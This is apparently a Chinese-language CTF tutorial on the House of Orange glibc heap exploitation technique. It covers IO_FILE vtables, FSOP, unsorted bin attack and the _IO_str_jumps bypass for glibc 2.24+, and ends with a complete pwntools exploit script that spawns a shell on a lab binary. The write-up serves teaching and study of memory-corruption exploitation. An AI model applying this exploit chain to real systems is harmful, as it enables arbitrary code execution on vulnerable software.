io利用之house of orange
字数 1401 2025-08-24 10:10:13
House of Orange IO利用技术详解
一、IO_FILE结构概述
IO_FILE结构体是glibc中用于处理文件输入输出的核心数据结构,分为两个主要部分:
- 由
_IO_list_all连接的三个标准流结构体:stderr、stdout和stdin - 虚表(vtable)部分,用于支持多态性函数调用
1.1 虚表(vtable)机制
虚表是一个函数指针表,每个IO_FILE对象通过其类型的vtable指针调用正确的函数实现。在glibc中,vtable被用于IO_FILE结构的虚拟函数调度。
// libio/libioP.h (glibc 2.23)
struct _IO_jump_t {
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
struct _IO_FILE_plus {
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
二、FSOP(File Stream Oriented Programming)技术
FSOP是一种通过劫持_IO_list_all全局变量来伪造链表的技术,通过调用_IO_flush_all_lockp()函数触发利用。
2.1 触发条件
_IO_flush_all_lockp()会在以下情况下被调用:
- libc检测到内存错误时
- 执行exit函数时
- main函数返回时
2.2 调用链分析
当glibc检测到内存错误时的调用路径:
malloc_printerr -> libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
关键点:
_IO_flush_all_lockp会遍历_IO_list_all链表- 将当前节点作为
_IO_OVERFLOW的参数 _IO_OVERFLOW是vtable中的第4个函数指针
三、House of Orange利用技术
3.1 基本思路
- 通过堆溢出篡改top chunk的size
- 申请一个大于top chunk的块,使top chunk被释放到unsorted bin
- 利用show功能泄露libc地址
- 通过unsorted bin attack劫持
_IO_list_all - 伪造IO_FILE结构和vtable
- 触发
_IO_flush_all_lockp执行恶意代码
3.2 关键步骤详解
3.2.1 泄露libc地址
add(0x10, 'a')
edit(0x40, b'b'*0x18 + p64(0x21) + p64(0x0000002000000001) + p64(0)*2 + p64(0xfa1))
add(0x1000, 'c'*8)
add(0x400, 'd'*8)
show()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5188
3.2.2 unsorted bin attack
将_IO_list_all指向main_arena + 88的位置:
fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
3.2.3 伪造IO_FILE结构
需要绕过以下检查:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset(fp) == 0 && fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
) && _IO_OVERFLOW(fp, EOF) == EOF)
伪造结构:
fsop += p64(0) # write base
fsop += p64(1) # write ptr (fp->_IO_write_ptr > fp->_IO_write_base)
fsop = fsop.ljust(0xd8, b'\x00')
vtable_addr = heap_base + 0x4f0 + 0xd8 + 8
fsop += p64(vtable_addr) # vtable pointer
fsop += p64(0) # __dummy
fsop += p64(0) # __dummy2
fsop += p64(0) # __finish
fsop += p64(system) # _IO_OVERFLOW
四、glibc 2.24及以上的防护与绕过
从glibc 2.24开始,增加了vtable验证机制:
static inline const struct _IO_jump_t *IO_validate_vtable(const struct _IO_jump_t *vtable) {
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *)vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely(offset >= section_length))
_IO_vtable_check();
return vtable;
}
4.1 利用_IO_str_jumps虚表
可以使用_IO_str_jumps虚表中的_IO_str_finish函数:
void _IO_str_finish(_IO_FILE *fp, int dummy) {
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish(fp, 0);
}
利用方法:
- 将vtable指向
_IO_str_jumps - 0x8 - 在
fp + 0xe8位置放置system地址 - 将
_IO_buf_base设置为"/bin/sh"字符串地址
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
io_str_jumps = libc_base + get_IO_str_jumps()
fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
fsop += p64(0) # write base
fsop += p64(1) # write ptr
fsop += p64(0) # write end
fsop += p64(binsh_addr) # buf base
fsop = fsop.ljust(0xd8, b'\x00')
fsop += p64(io_str_jumps - 0x8) # vtable
fsop += p64(0) # _IO_FILE + 0xE8
fsop += p64(system_addr)
五、完整利用代码示例
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
libc = ELF('libc-2.23.so')
io = process('./pwn')
def dbg():
gdb.attach(io)
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
def add(size, content):
io.sendlineafter('Your choice : ', str(1))
io.sendlineafter('Length of name :', str(size))
io.sendafter('Name :', content)
io.sendlineafter('Price of Orange:', str(1))
io.sendlineafter('Color of Orange:', str(2))
def edit(size, content):
io.sendlineafter('Your choice : ', str(3))
io.sendlineafter('Length of name :', str(size))
io.sendafter('Name:', content)
io.sendlineafter('Price of Orange:', str(1))
io.sendlineafter('Color of Orange:', str(2))
def show():
io.sendlineafter('Your choice : ', str(2))
# Step 1: Leak libc
add(0x10, 'a')
edit(0x40, b'b'*0x18 + p64(0x21) + p64(0x0000002000000001) + p64(0)*2 + p64(0xfa1))
add(0x1000, 'c'*8)
add(0x400, 'd'*8)
show()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5188
# Step 2: Prepare FSOP
io_str_jumps = libc_base + get_IO_str_jumps()
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
# Step 3: Construct fake IO_FILE
fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
fsop += p64(0) # write base
fsop += p64(1) # write ptr
fsop += p64(0) # write end
fsop += p64(binsh_addr) # buf base
fsop = fsop.ljust(0xd8, b'\x00')
fsop += p64(io_str_jumps - 0x8) # vtable
fsop += p64(0) # _IO_FILE + 0xE8
fsop += p64(system_addr)
# Step 4: Trigger
payload = b'd'*0x400 + p64(0) + p64(0x21) + p64(0) + p64(0) + fsop
edit(len(payload), payload)
io.sendline(str(1)) # Trigger malloc error
io.interactive()
六、总结
House of Orange技术要点:
- 通过堆溢出和unsorted bin attack控制
_IO_list_all - 精心构造伪造的IO_FILE结构绕过各种检查
- 在glibc 2.23中可直接伪造vtable
- 在glibc 2.24+中需要使用合法vtable如
_IO_str_jumps进行利用 - 利用内存错误或程序退出时的IO刷新机制触发恶意代码执行
防护措施:
- glibc 2.24引入的vtable范围检查
- glibc 2.28后
_IO_str_finish不再调用_free_buffer